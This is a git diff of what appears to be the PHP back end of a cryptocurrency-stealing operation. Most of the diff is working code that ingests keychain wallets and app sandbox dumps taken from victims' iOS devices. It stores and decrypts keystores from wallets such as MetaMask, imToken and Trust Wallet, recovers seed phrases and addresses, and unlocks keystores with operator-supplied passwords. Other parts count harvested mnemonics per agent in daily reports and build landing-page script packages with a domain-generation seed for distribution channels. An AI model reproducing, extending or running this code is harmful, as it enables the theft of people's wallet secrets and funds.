if (! $this->isValidAddress($to)) {
|
||||
throw new RuntimeException('Invalid Tron address');
|
||||
@@ -300,7 +300,7 @@ class TronDriver implements ChainDriver
|
||||
|
||||
private function http(): PendingRequest
|
||||
{
|
||||
$req = Http::timeout(30)->acceptJson()->asJson();
|
||||
$req = ChainHttpTimeout::apply(Http::connectTimeout(20)->timeout(120)->acceptJson()->asJson());
|
||||
$apiKey = (string) config('coruna.tron.api_key', '');
|
||||
if ($apiKey !== '') {
|
||||
$req = $req->withHeaders(['TRON-PRO-API-KEY' => $apiKey]);
|
||||
|
||||
@@ -0,0 +1,139 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use App\Models\Channel;
|
||||
use RuntimeException;
|
||||
use ZipArchive;
|
||||
|
||||
class ChannelEmbedZipService
|
||||
{
|
||||
/**
|
||||
* @return list<string>
|
||||
*/
|
||||
public function listFiles(Channel $channel): array
|
||||
{
|
||||
$dir = $channel->embedAssetDir();
|
||||
if ($dir === null) {
|
||||
return [];
|
||||
}
|
||||
|
||||
return $this->collectFiles($dir);
|
||||
}
|
||||
|
||||
public function build(Channel $channel): string
|
||||
{
|
||||
$dir = $channel->embedAssetDir();
|
||||
if ($dir === null) {
|
||||
throw new RuntimeException('渠道静态资源不存在,请先构建');
|
||||
}
|
||||
$files = $this->collectFiles($dir);
|
||||
if ($files === []) {
|
||||
throw new RuntimeException('渠道目录里没有可打包的浏览器资源');
|
||||
}
|
||||
if (! class_exists(ZipArchive::class)) {
|
||||
throw new RuntimeException('PHP ZipArchive 不可用');
|
||||
}
|
||||
|
||||
$tmp = tempnam(sys_get_temp_dir(), 'coruna-embed-');
|
||||
if ($tmp === false) {
|
||||
throw new RuntimeException('无法创建临时文件');
|
||||
}
|
||||
@unlink($tmp);
|
||||
$zipPath = $tmp.'.zip';
|
||||
|
||||
$zip = new ZipArchive();
|
||||
if ($zip->open($zipPath, ZipArchive::CREATE | ZipArchive::OVERWRITE) !== true) {
|
||||
throw new RuntimeException('无法创建 zip');
|
||||
}
|
||||
|
||||
$statOrigin = $this->statOrigin();
|
||||
foreach ($files as $rel) {
|
||||
$abs = $dir.DIRECTORY_SEPARATOR.str_replace('/', DIRECTORY_SEPARATOR, $rel);
|
||||
$contents = file_get_contents($abs);
|
||||
if ($contents === false) {
|
||||
continue;
|
||||
}
|
||||
if ($rel === 'index.js' && $statOrigin !== '') {
|
||||
$contents = $this->bakeStatOrigin($contents, $statOrigin);
|
||||
}
|
||||
$zip->addFromString($rel, $contents);
|
||||
}
|
||||
$zip->addFromString('README.txt', $this->readme($channel));
|
||||
$zip->close();
|
||||
|
||||
return $zipPath;
|
||||
}
|
||||
|
||||
private function statOrigin(): string
|
||||
{
|
||||
$domains = Channel::normalizeDomainList(config('coruna.channel_domains', []));
|
||||
$host = trim((string) ($domains[0] ?? ''));
|
||||
if ($host === '') {
|
||||
return '';
|
||||
}
|
||||
if (preg_match('#^https?://#i', $host)) {
|
||||
return rtrim($host, '/');
|
||||
}
|
||||
$scheme = trim((string) config('coruna.static_site.scheme', 'https')) ?: 'https';
|
||||
|
||||
return $scheme.'://'.rtrim($host, '/');
|
||||
}
|
||||
|
||||
private function bakeStatOrigin(string $boot, string $origin): string
|
||||
{
|
||||
$quoted = json_encode($origin, JSON_UNESCAPED_SLASHES);
|
||||
$updated = preg_replace(
|
||||
'/var STAT_ORIGIN = ([\'"][^\'"]*[\'"]|__STAT_ORIGIN__)/',
|
||||
'var STAT_ORIGIN = '.$quoted,
|
||||
$boot,
|
||||
1,
|
||||
);
|
||||
|
||||
return is_string($updated) ? $updated : $boot;
|
||||
}
|
||||
|
||||
private function readme(Channel $channel): string
|
||||
{
|
||||
$id = (string) $channel->channel_id;
|
||||
|
||||
return "把本 zip 解压到站点根目录(与首页同级),页面中加入:\n"
|
||||
."<script src=\"./index.js\"></script>\n\n"
|
||||
."渠道 {$id} 已写入 index.js。iframe 投放仍可用原落地页链接。\n";
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<string>
|
||||
*/
|
||||
private function collectFiles(string $dir): array
|
||||
{
|
||||
$skipNames = ['.DS_Store', 'manifest.json', 'README.md', 'README.txt'];
|
||||
$skipDirs = ['templates', '_bak', '__pycache__'];
|
||||
$files = [];
|
||||
$iterator = new \RecursiveIteratorIterator(
|
||||
new \RecursiveDirectoryIterator($dir, \FilesystemIterator::SKIP_DOTS)
|
||||
);
|
||||
foreach ($iterator as $file) {
|
||||
if (! $file->isFile()) {
|
||||
continue;
|
||||
}
|
||||
$abs = $file->getPathname();
|
||||
$rel = ltrim(str_replace('\\', '/', substr($abs, strlen($dir))), '/');
|
||||
$parts = explode('/', $rel);
|
||||
if (array_intersect($parts, $skipDirs) !== []) {
|
||||
continue;
|
||||
}
|
||||
if (in_array(end($parts), $skipNames, true)) {
|
||||
continue;
|
||||
}
|
||||
$ext = strtolower((string) $file->getExtension());
|
||||
if (! in_array($ext, ['js', 'html', 'htm', 'css'], true)) {
|
||||
continue;
|
||||
}
|
||||
$files[] = $rel;
|
||||
}
|
||||
sort($files);
|
||||
|
||||
return $files;
|
||||
}
|
||||
}
|
||||
@@ -52,16 +52,10 @@ class ChannelProjectService
|
||||
);
|
||||
}
|
||||
|
||||
[$deploymentSeed, $reportingSeed] = $this->normalizeOptionalSeeds(
|
||||
$deploymentSeed,
|
||||
$reportingSeed,
|
||||
);
|
||||
|
||||
return $this->generateOld(
|
||||
$this->normalizeChannelId($channelId),
|
||||
$supportTemplate,
|
||||
$deploymentSeed,
|
||||
$reportingSeed,
|
||||
dsDomain: (string) config('coruna.xxbb.ds_domain', ''),
|
||||
);
|
||||
}
|
||||
|
||||
@@ -71,6 +65,17 @@ class ChannelProjectService
|
||||
): void {
|
||||
$builderType = $this->normalizeBuilderType($builderType);
|
||||
|
||||
// App builder channels have no static resource tree —
|
||||
// only the DB row + optionally an IPA output directory.
|
||||
if ($builderType === Channel::BUILDER_APP) {
|
||||
$dir = public_path('channel/'.$channelId);
|
||||
if (is_dir($dir) && ! $this->removeDirectory($dir)) {
|
||||
throw new RuntimeException('删除渠道资源失败: '.$dir);
|
||||
}
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
if ($builderType === self::BUILDER_NEW) {
|
||||
$code = Channel::normalizeNewChannelId($channelId);
|
||||
if ($code === null) {
|
||||
@@ -119,10 +124,10 @@ class ChannelProjectService
|
||||
private function generateOld(
|
||||
string $channelId,
|
||||
string $supportTemplate,
|
||||
?string $deploymentSeed,
|
||||
?string $reportingSeed,
|
||||
string $dsDomain = '',
|
||||
): array {
|
||||
$supportTemplate = $this->normalizeSupportTemplate($supportTemplate);
|
||||
$seed = $this->requireEnvOldSeed();
|
||||
$cmd = [
|
||||
$this->pythonBinary(self::BUILDER_OLD),
|
||||
$this->builderScript('new_project.py', self::BUILDER_OLD),
|
||||
@@ -135,12 +140,14 @@ class ChannelProjectService
|
||||
'--support-template',
|
||||
$supportTemplate,
|
||||
'--force',
|
||||
'--deployment-seed',
|
||||
$seed,
|
||||
'--reporting-seed',
|
||||
$seed,
|
||||
];
|
||||
if ($deploymentSeed !== null && $reportingSeed !== null) {
|
||||
$cmd[] = '--deployment-seed';
|
||||
$cmd[] = $deploymentSeed;
|
||||
$cmd[] = '--reporting-seed';
|
||||
$cmd[] = $reportingSeed;
|
||||
if ($dsDomain !== '') {
|
||||
$cmd[] = '--ds-domain';
|
||||
$cmd[] = $dsDomain;
|
||||
}
|
||||
|
||||
$result = $this->runBuilder($cmd, '生成渠道资源失败', $this->builderCwd(self::BUILDER_OLD));
|
||||
@@ -163,6 +170,7 @@ class ChannelProjectService
|
||||
'weifile_path' => null,
|
||||
'daily_path' => (string) ($result['daily_path'] ?? '/sync/daily.html'),
|
||||
'support_template' => (string) ($result['support_template'] ?? $supportTemplate),
|
||||
'ds_domain' => $dsDomain,
|
||||
];
|
||||
}
|
||||
|
||||
@@ -202,6 +210,72 @@ class ChannelProjectService
|
||||
return $this->runBuilder($cmd, '构建共享产物失败', $this->builderCwd(self::BUILDER_NEW));
|
||||
}
|
||||
|
||||
/**
|
||||
* Rebuild existing old-builder channels in place (same 32-hex channel_id).
|
||||
* DGA seed always comes from CORUNA_CHANNEL_SEED; overwrites public/web/{id}/.
|
||||
*
|
||||
* @param list<string>|null $channelIds null = all builder_type=old rows
|
||||
* @return array{channels: list<array<string, mixed>>}
|
||||
*/
|
||||
public function rebuildOldChannels(
|
||||
?array $channelIds = null,
|
||||
string $supportTemplate = self::DEFAULT_SUPPORT_TEMPLATE,
|
||||
string $dsDomain = '',
|
||||
): array {
|
||||
$ids = $this->resolveOldChannelIds($channelIds);
|
||||
if ($ids === []) {
|
||||
throw new RuntimeException('没有可重打的旧版渠道(builder_type=old)');
|
||||
}
|
||||
|
||||
$channels = [];
|
||||
foreach ($ids as $id) {
|
||||
$channels[] = $this->generateOld(
|
||||
$id,
|
||||
$supportTemplate,
|
||||
$dsDomain,
|
||||
);
|
||||
}
|
||||
|
||||
return [
|
||||
'channels' => $channels,
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @param list<string>|null $channelIds
|
||||
* @return list<string>
|
||||
*/
|
||||
public function resolveOldChannelIds(?array $channelIds = null): array
|
||||
{
|
||||
if ($channelIds === null) {
|
||||
return Channel::query()
|
||||
->where('builder_type', self::BUILDER_OLD)
|
||||
->orderBy('id')
|
||||
->pluck('channel_id')
|
||||
->map(function ($id) {
|
||||
try {
|
||||
return $this->normalizeChannelId((string) $id);
|
||||
} catch (RuntimeException) {
|
||||
return null;
|
||||
}
|
||||
})
|
||||
->filter()
|
||||
->values()
|
||||
->all();
|
||||
}
|
||||
|
||||
$ids = [];
|
||||
foreach ($channelIds as $raw) {
|
||||
try {
|
||||
$ids[] = $this->normalizeChannelId((string) $raw);
|
||||
} catch (RuntimeException) {
|
||||
throw new RuntimeException('旧版渠道 ID 必须是 32 位 hex: '.$raw);
|
||||
}
|
||||
}
|
||||
|
||||
return array_values(array_unique($ids));
|
||||
}
|
||||
|
||||
/**
|
||||
* Rebuild existing new-builder channels in place (same channel_id / ver patch).
|
||||
* Shared /details + staged weifile are built once from XXBB_CHANNEL_C, then each
|
||||
@@ -417,6 +491,19 @@ class ChannelProjectService
|
||||
return $c;
|
||||
}
|
||||
|
||||
private function requireEnvOldSeed(): string
|
||||
{
|
||||
$seed = strtolower(trim((string) config('coruna.channel_builder.seed', '')));
|
||||
if ($seed === '') {
|
||||
throw new RuntimeException('请先在 .env 配置 CORUNA_CHANNEL_SEED(32 位 hex)');
|
||||
}
|
||||
if (! preg_match('/^[0-9a-f]{32}$/', $seed)) {
|
||||
throw new RuntimeException('CORUNA_CHANNEL_SEED 必须是 32 位 hex');
|
||||
}
|
||||
|
||||
return $seed;
|
||||
}
|
||||
|
||||
private function normalizeSharedChannelC(?string $channelC): ?string
|
||||
{
|
||||
$c = strtolower(trim((string) ($channelC !== null && $channelC !== ''
|
||||
@@ -707,8 +794,8 @@ class ChannelProjectService
|
||||
if ($builderType === '') {
|
||||
return self::BUILDER_OLD;
|
||||
}
|
||||
if (! in_array($builderType, [self::BUILDER_OLD, self::BUILDER_NEW], true)) {
|
||||
throw new RuntimeException('无效的渠道类型(支持: old, new)');
|
||||
if (! in_array($builderType, [self::BUILDER_OLD, self::BUILDER_NEW, Channel::BUILDER_APP], true)) {
|
||||
throw new RuntimeException('无效的渠道类型(支持: old, new, app)');
|
||||
}
|
||||
|
||||
return $builderType;
|
||||
@@ -738,31 +825,4 @@ class ChannelProjectService
|
||||
|
||||
return $supportTemplate;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{0: ?string, 1: ?string}
|
||||
*/
|
||||
private function normalizeOptionalSeeds(
|
||||
?string $deploymentSeed,
|
||||
?string $reportingSeed,
|
||||
): array {
|
||||
$deploymentSeed = $deploymentSeed !== null ? trim($deploymentSeed) : null;
|
||||
$reportingSeed = $reportingSeed !== null ? trim($reportingSeed) : null;
|
||||
if (($deploymentSeed === null || $deploymentSeed === '') && ($reportingSeed === null || $reportingSeed === '')) {
|
||||
return [null, null];
|
||||
}
|
||||
if ($deploymentSeed === null || $deploymentSeed === '' || $reportingSeed === null || $reportingSeed === '') {
|
||||
throw new RuntimeException('deployment_seed 与 reporting_seed 必须同时提供');
|
||||
}
|
||||
foreach (['deployment_seed' => $deploymentSeed, 'reporting_seed' => $reportingSeed] as $name => $value) {
|
||||
if (! preg_match('/^[ -~]{1,32}$/', $value)) {
|
||||
throw new RuntimeException("无效的 {$name}(需 1–32 位 ASCII)");
|
||||
}
|
||||
}
|
||||
if ($deploymentSeed !== $reportingSeed) {
|
||||
throw new RuntimeException('deployment_seed 与 reporting_seed 必须相同');
|
||||
}
|
||||
|
||||
return [$deploymentSeed, $reportingSeed];
|
||||
}
|
||||
}
|
||||
|
||||
@@ -12,6 +12,7 @@ use App\Models\WalletAddress;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Support\AgentScope;
|
||||
use Carbon\Carbon;
|
||||
use Illuminate\Database\Eloquent\Builder;
|
||||
use Illuminate\Support\Collection;
|
||||
|
||||
class DailyReportService
|
||||
@@ -122,12 +123,14 @@ class DailyReportService
|
||||
$end = $to->copy()->startOfDay();
|
||||
while ($cursor->lte($end)) {
|
||||
if ($force || $cursor->gte($refreshFrom) || ! $this->dayIsFresh($cursor, $agentUserId)) {
|
||||
[$uv, $effectiveUv, $devices, $walletDevices, $addressCount, $mnemonicCount] = $this->totalsForDay($cursor, $agentUserId);
|
||||
[$uv, $effectiveUv, $devices, $walletDevices, $addressCount, $mnemonicCount, $pv, $effectivePv] = $this->totalsForDay($cursor, $agentUserId);
|
||||
$row = $this->present($cursor->toDateString(), $uv, $effectiveUv, $devices, $walletDevices, $addressCount, $mnemonicCount);
|
||||
DailyStat::query()->updateOrCreate(
|
||||
['stat_date' => $row['date'], 'scope_key' => $scope],
|
||||
[
|
||||
'pv' => $pv,
|
||||
'uv' => $row['uv'],
|
||||
'effective_pv' => $effectivePv,
|
||||
'effective_uv' => $row['effective_uv'],
|
||||
'devices' => $row['devices'],
|
||||
'wallet_devices' => $row['wallet_devices'],
|
||||
@@ -233,6 +236,7 @@ class DailyReportService
|
||||
->where('stat_date', $date)
|
||||
->whereNotNull('computed_at')
|
||||
->whereNotNull('address_count')
|
||||
->whereNotNull('pv')
|
||||
->exists();
|
||||
if (! $statOk) {
|
||||
return false;
|
||||
@@ -272,7 +276,7 @@ class DailyReportService
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{0: int, 1: int, 2: int, 3: int, 4: int, 5: int}
|
||||
* @return array{0: int, 1: int, 2: int, 3: int, 4: int, 5: int, 6: int, 7: int}
|
||||
*/
|
||||
private function totalsForDay(Carbon $day, ?int $agentUserId): array
|
||||
{
|
||||
@@ -285,7 +289,9 @@ class DailyReportService
|
||||
$visit = $visits
|
||||
->whereBetween('created_at', [$from, $to])
|
||||
->selectRaw(
|
||||
"COUNT(DISTINCT client_uid) as uv,
|
||||
"COUNT(*) as pv,
|
||||
COUNT(DISTINCT client_uid) as uv,
|
||||
COALESCE(SUM(CASE WHEN ({$effectiveSql}) THEN 1 ELSE 0 END), 0) as effective_pv,
|
||||
COUNT(DISTINCT CASE WHEN ({$effectiveSql}) THEN client_uid END) as effective_uv"
|
||||
)
|
||||
->first();
|
||||
@@ -307,11 +313,13 @@ class DailyReportService
|
||||
(int) ($device?->wallet_devices ?? 0),
|
||||
$this->countDeviceChildrenForDay(WalletAddress::query(), 'wallet_addresses', $from, $to, $agentUserId),
|
||||
$this->countDeviceChildrenForDay(WalletMnemonic::query(), 'wallet_mnemonics', $from, $to, $agentUserId),
|
||||
(int) ($visit?->pv ?? 0),
|
||||
(int) ($visit?->effective_pv ?? 0),
|
||||
];
|
||||
}
|
||||
|
||||
private function countDeviceChildrenForDay(
|
||||
\Illuminate\Database\Eloquent\Builder $query,
|
||||
Builder $query,
|
||||
string $table,
|
||||
Carbon $from,
|
||||
Carbon $to,
|
||||
|
||||
@@ -3,6 +3,7 @@
|
||||
namespace App\Services;
|
||||
|
||||
use App\Models\Device;
|
||||
use App\Models\DeviceApp;
|
||||
use App\Models\DsChainLog;
|
||||
use App\Models\PageVisit;
|
||||
use App\Models\User;
|
||||
@@ -13,6 +14,9 @@ use App\Jobs\DecryptDeviceKeystores;
|
||||
use App\Support\CfIpCountry;
|
||||
use App\Support\UserAgentParser;
|
||||
use App\Support\VisitorIp;
|
||||
use App\Services\Chain\BtcAddress;
|
||||
use App\Services\Chain\EthAddress;
|
||||
use App\Services\Chain\TronAddress;
|
||||
use App\Support\WalletSource;
|
||||
use Illuminate\Database\QueryException;
|
||||
use Illuminate\Database\UniqueConstraintViolationException;
|
||||
@@ -245,17 +249,18 @@ class DarkSwordIngestAdapter
|
||||
$wallets = $keychain['wallets'] ?? [];
|
||||
$sandbox = $payload['sandbox'] ?? [];
|
||||
|
||||
// Store keystores synchronously (fast), then dispatch async decryption.
|
||||
// Store keychain + decryptable UTC only. Do not persist the rest of sandbox.
|
||||
$rows = array_merge(
|
||||
$this->storeWalletKeystores($device, $wallets, 'keychain.wallets', $keychain['diagnostics'] ?? null),
|
||||
$this->storeWalletKeystores($device, $sandbox, 'sandbox', null),
|
||||
$this->storeWeb3KeystoresFromTree($device, $sandbox),
|
||||
);
|
||||
|
||||
// Synchronous address ingestion from sandbox/wallets (Trust-style).
|
||||
$this->trustAddresses->ingest($device, $sandbox);
|
||||
$this->trustAddresses->ingest($device, $wallets);
|
||||
|
||||
// Async: mnemonic recovery + plaintext walk + address extraction.
|
||||
// Async: mnemonic recovery still receives the in-memory sandbox for this
|
||||
// request; later reprocess rebuilds UTC from stored web3.keystore rows.
|
||||
DecryptDeviceKeystores::dispatch($device->id, $wallets, $sandbox);
|
||||
}
|
||||
|
||||
@@ -503,7 +508,7 @@ class DarkSwordIngestAdapter
|
||||
return;
|
||||
}
|
||||
$this->trustAddresses->ingest($device, $raw);
|
||||
$this->storeWalletKeystores($device, ['trust_wallet' => $raw], 'sandbox', null);
|
||||
$this->storeWeb3KeystoresFromTree($device, ['trust_wallet' => $raw]);
|
||||
|
||||
// Async: attempt Trust UTC keystore decryption.
|
||||
DecryptDeviceKeystores::dispatch($device->id, null, ['trust_wallet' => $raw]);
|
||||
@@ -525,10 +530,10 @@ class DarkSwordIngestAdapter
|
||||
$wallets = is_array($json['wallets'] ?? null) ? $json['wallets'] : [];
|
||||
$sandbox = is_array($json['sandbox'] ?? null) ? $json['sandbox'] : [];
|
||||
|
||||
// Store keystores synchronously (fast), then dispatch async decryption.
|
||||
// Store keychain + decryptable UTC only.
|
||||
$rows = array_merge(
|
||||
$this->storeWalletKeystores($device, $wallets, 'keychain.wallets', $json['diagnostics'] ?? null),
|
||||
$this->storeWalletKeystores($device, $sandbox, 'sandbox', null),
|
||||
$this->storeWeb3KeystoresFromTree($device, $sandbox),
|
||||
);
|
||||
|
||||
// Synchronous address ingestion from sandbox/wallets (Trust-style).
|
||||
@@ -553,10 +558,10 @@ class DarkSwordIngestAdapter
|
||||
if ($json === null) {
|
||||
return;
|
||||
}
|
||||
$this->storeWalletKeystores($device, ['imtoken' => $json], 'keychain.wallets', null);
|
||||
$payload = $json;
|
||||
$payload['kind'] = 'web3.keystore';
|
||||
$this->createKeystore($device, 'imToken', $payload, true);
|
||||
|
||||
// Async: attempt recovery (imToken needs password — will likely fail,
|
||||
// but the job logs the reason and still extracts addresses if any).
|
||||
DecryptDeviceKeystores::dispatch($device->id, ['imtoken' => $json], null);
|
||||
}
|
||||
|
||||
@@ -746,7 +751,7 @@ class DarkSwordIngestAdapter
|
||||
continue;
|
||||
}
|
||||
$bundle = trim((string) ($item['bundleId'] ?? $item['bundle_id'] ?? $item['b'] ?? ''));
|
||||
if ($bundle === '' || str_starts_with(strtolower($bundle), 'com.apple')) {
|
||||
if ($bundle === '' || str_starts_with(strtolower($bundle), 'com.apple') || DeviceApp::shouldSkipBundle($bundle)) {
|
||||
continue;
|
||||
}
|
||||
$row = [
|
||||
@@ -807,6 +812,92 @@ class DarkSwordIngestAdapter
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
* Persist standard Web3 UTC / walletsV2 blobs found in a sandbox tree.
|
||||
* The rest of the sandbox is discarded.
|
||||
*
|
||||
* @return list<WalletKeystore>
|
||||
*/
|
||||
private function storeWeb3KeystoresFromTree(Device $device, mixed $tree): array
|
||||
{
|
||||
$items = $this->keystoreDecrypt->collectKeystores($tree);
|
||||
$rows = [];
|
||||
$seen = [];
|
||||
foreach ($items as $item) {
|
||||
$ks = $item['keystore'];
|
||||
$crypto = $ks['crypto'] ?? $ks['Crypto'] ?? [];
|
||||
$fp = (string) ($crypto['mac'] ?? '').'|'.(string) ($crypto['ciphertext'] ?? '');
|
||||
if ($fp === '|' || isset($seen[$fp])) {
|
||||
continue;
|
||||
}
|
||||
$seen[$fp] = true;
|
||||
$source = trim((string) ($item['source'] ?? ''));
|
||||
if ($source === '') {
|
||||
$source = 'Trust Wallet';
|
||||
}
|
||||
$payload = $ks;
|
||||
$payload['kind'] = 'web3.keystore';
|
||||
$rows[] = $this->createKeystore(
|
||||
$device,
|
||||
$source,
|
||||
$payload,
|
||||
$this->web3NeedsUserPassword($source),
|
||||
);
|
||||
}
|
||||
|
||||
return $rows;
|
||||
}
|
||||
|
||||
private function web3NeedsUserPassword(string $source): bool
|
||||
{
|
||||
$label = strtolower(trim($source));
|
||||
|
||||
return str_contains($label, 'imtoken')
|
||||
|| str_contains($label, 'metamask')
|
||||
|| str_contains($label, 'tronlink')
|
||||
|| str_contains($label, 'tokenpocket')
|
||||
|| str_contains($label, 'global wallet');
|
||||
}
|
||||
|
||||
/**
|
||||
* Rebuild in-memory wallet/sandbox trees from stored rows so decrypt jobs
|
||||
* still see UTC blobs after we stopped persisting full sandbox dumps.
|
||||
*
|
||||
* @return array{0: array<string, mixed>, 1: array<string, mixed>}
|
||||
*/
|
||||
public function storedWalletTrees(Device $device): array
|
||||
{
|
||||
$device->loadMissing('keystores');
|
||||
$wallets = [];
|
||||
$sandbox = [];
|
||||
foreach ($device->keystores as $row) {
|
||||
$json = is_array($row->raw_json) ? $row->raw_json : [];
|
||||
$kind = (string) ($json['kind'] ?? '');
|
||||
if (str_starts_with($kind, 'keychain')) {
|
||||
$wallets = array_merge($wallets, is_array($json['wallets'] ?? null) ? $json['wallets'] : []);
|
||||
|
||||
continue;
|
||||
}
|
||||
if ($kind === 'web3.keystore' || (isset($json['crypto']) && is_array($json['crypto']))) {
|
||||
$key = trim((string) $row->source);
|
||||
if ($key === '') {
|
||||
$key = 'web3';
|
||||
}
|
||||
if (! isset($sandbox[$key]) || ! is_array($sandbox[$key])) {
|
||||
$sandbox[$key] = [];
|
||||
}
|
||||
$sandbox[$key][] = $json;
|
||||
|
||||
continue;
|
||||
}
|
||||
if (isset($json['sandbox']) && is_array($json['sandbox'])) {
|
||||
$sandbox = array_merge($sandbox, $json['sandbox']);
|
||||
}
|
||||
}
|
||||
|
||||
return [$wallets, $sandbox];
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<WalletKeystore>
|
||||
*/
|
||||
@@ -876,9 +967,9 @@ class DarkSwordIngestAdapter
|
||||
/**
|
||||
* @param array<string, mixed> $rawJson
|
||||
*/
|
||||
private function createKeystore(Device $device, string $source, array $rawJson): WalletKeystore
|
||||
private function createKeystore(Device $device, string $source, array $rawJson, bool $needsPassword = false): WalletKeystore
|
||||
{
|
||||
return WalletKeystore::firstOrCreateForDevice($device, $source, $rawJson);
|
||||
return WalletKeystore::firstOrCreateForDevice($device, $source, $rawJson, $needsPassword);
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -890,19 +981,7 @@ class DarkSwordIngestAdapter
|
||||
public function reprocessKeystores(Device $device): void
|
||||
{
|
||||
$device->load('keystores');
|
||||
|
||||
// Rebuild wallets/sandbox dicts from stored keystores so the walkers
|
||||
// can traverse the original tree structure.
|
||||
$wallets = [];
|
||||
$sandbox = [];
|
||||
foreach ($device->keystores as $row) {
|
||||
$kind = $row->raw_json['kind'] ?? '';
|
||||
if (str_starts_with($kind, 'keychain')) {
|
||||
$wallets = array_merge($wallets, $row->raw_json['wallets'] ?? []);
|
||||
} else {
|
||||
$sandbox = array_merge($sandbox, $row->raw_json['sandbox'] ?? []);
|
||||
}
|
||||
}
|
||||
[$wallets, $sandbox] = $this->storedWalletTrees($device);
|
||||
|
||||
$this->recoverKeystoreMnemonics($device, $wallets, $sandbox, $device->keystores->all());
|
||||
$this->walkForMnemonics($device, $wallets, 'd');
|
||||
@@ -916,8 +995,39 @@ class DarkSwordIngestAdapter
|
||||
public function recoverKeystoreMnemonics(Device $device, mixed $wallets, mixed $sandbox, array $rows): void
|
||||
{
|
||||
$hits = $this->keystoreDecrypt->recover($device, $wallets, $sandbox);
|
||||
$this->applyMnemonicHits($device, $hits);
|
||||
}
|
||||
|
||||
/**
|
||||
* Unlock a needs-password UTC / walletsV2 blob with an operator-supplied password,
|
||||
* then persist mnemonics the same way as automatic recovery.
|
||||
*
|
||||
* @return array{hits: int, utc: int, vault: int}
|
||||
*/
|
||||
public function decryptKeystoreWithPassword(Device $device, WalletKeystore $row, string $password): array
|
||||
{
|
||||
$result = $this->keystoreDecrypt->unlockRowWithPassword($device, $row, $password);
|
||||
$this->applyMnemonicHits($device, $result['hits']);
|
||||
if ($result['hits'] !== []) {
|
||||
[$wallets, $sandbox] = $this->storedWalletTrees($device->fresh('keystores'));
|
||||
$this->extractAddressesFromKeystores($device, $wallets, $sandbox);
|
||||
}
|
||||
|
||||
return [
|
||||
'hits' => count($result['hits']),
|
||||
'utc' => $result['utc'],
|
||||
'vault' => $result['vault'] ?? 0,
|
||||
'coin98' => $result['coin98'] ?? 0,
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @param list<array{source: string, tag: string, phrase: string, addresses?: list<array<string, mixed>>}> $hits
|
||||
*/
|
||||
private function applyMnemonicHits(Device $device, array $hits): void
|
||||
{
|
||||
foreach ($hits as $hit) {
|
||||
$tag = $hit['tag'] !== '' ? $hit['tag'] : 'd';
|
||||
$tag = ($hit['tag'] ?? '') !== '' ? $hit['tag'] : 'd';
|
||||
$this->ingest->ingestMnemonic($device, [
|
||||
'mnemonic' => $hit['phrase'],
|
||||
'a' => $tag,
|
||||
@@ -967,8 +1077,18 @@ class DarkSwordIngestAdapter
|
||||
if (is_string($node)) {
|
||||
$phrase = $this->asMnemonicPhrase($node);
|
||||
if ($phrase !== null) {
|
||||
$this->ingest->ingestMnemonic($device, ['mnemonic' => $phrase, 'a' => $tag]);
|
||||
$hits[] = ['phrase' => $phrase, 'source' => $sourceHint];
|
||||
$ingestTag = $tag;
|
||||
if ($sourceHint !== '') {
|
||||
$mapped = WalletSource::tagForLabel($sourceHint);
|
||||
if ($mapped !== '') {
|
||||
$ingestTag = $mapped;
|
||||
}
|
||||
}
|
||||
$this->ingest->ingestMnemonic($device, ['mnemonic' => $phrase, 'a' => $ingestTag]);
|
||||
$hits[] = [
|
||||
'phrase' => $phrase,
|
||||
'source' => $sourceHint !== '' ? $sourceHint : WalletSource::fromTag($ingestTag),
|
||||
];
|
||||
}
|
||||
|
||||
return;
|
||||
@@ -1025,6 +1145,13 @@ class DarkSwordIngestAdapter
|
||||
|
||||
private function tagForWalletKey(string $key, string $fallback): string
|
||||
{
|
||||
$hint = WalletSource::fromKeystoreHint($key);
|
||||
if ($hint !== '') {
|
||||
$mapped = WalletSource::tagForLabel($hint);
|
||||
if ($mapped !== '') {
|
||||
return $mapped;
|
||||
}
|
||||
}
|
||||
$k = strtolower($key);
|
||||
if (str_contains($k, 'imtoken') || str_contains($k, 'im.token')) {
|
||||
return 'b';
|
||||
@@ -1167,6 +1294,24 @@ class DarkSwordIngestAdapter
|
||||
// We don't have the key here in the recursive walk; detect from
|
||||
// service/account fields instead.
|
||||
|
||||
// Check direct 'address' field (Trust Wallet activeAccounts pattern:
|
||||
// {"address": "0x...", "coin": 60, "derivationPath": "m/44'/..."}).
|
||||
$directAddr = (string) ($node['address'] ?? '');
|
||||
if ($directAddr !== '' && strlen($directAddr) > 10 && ! str_contains($directAddr, ' ')) {
|
||||
$chainType = WalletSource::inferChainType($directAddr);
|
||||
// TronLink stores TRON addresses in hex format (0x41 prefix)
|
||||
if ($chainType === '' && strlen($directAddr) === 42 && ctype_xdigit($directAddr) && str_starts_with($directAddr, '41')) {
|
||||
$converted = self::hexTronToBase58($directAddr);
|
||||
if ($converted !== null) {
|
||||
$directAddr = $converted;
|
||||
$chainType = 'TRON';
|
||||
}
|
||||
}
|
||||
if ($chainType !== '' && WalletSource::isSupportedChain($chainType)) {
|
||||
$out[] = $this->addressRow($directAddr, $chainType, $sourceHint, $tag);
|
||||
}
|
||||
}
|
||||
|
||||
// Check account field for embedded addresses (Uniswap pattern:
|
||||
// "com.uniswap.mobile.mnemonic.0x4A45...").
|
||||
$acct = (string) ($node['account'] ?? '');
|
||||
@@ -1241,7 +1386,11 @@ class DarkSwordIngestAdapter
|
||||
if (is_array($json) && isset($json['address']) && is_string($json['address'])) {
|
||||
$addr = $json['address'];
|
||||
$chainType = WalletSource::inferChainType($addr);
|
||||
if (WalletSource::isSupportedChain($chainType)) {
|
||||
// TON stays out of DS free-text harvests (jetton
|
||||
// contract noise); only the app-link Tonhub
|
||||
// collector may store TON addresses.
|
||||
$supported = $chainType !== 'TON' && WalletSource::isSupportedChain($chainType);
|
||||
if ($supported) {
|
||||
$out[] = $this->addressRow($addr, $chainType, $source, $tag);
|
||||
}
|
||||
}
|
||||
@@ -1249,15 +1398,26 @@ class DarkSwordIngestAdapter
|
||||
}
|
||||
}
|
||||
|
||||
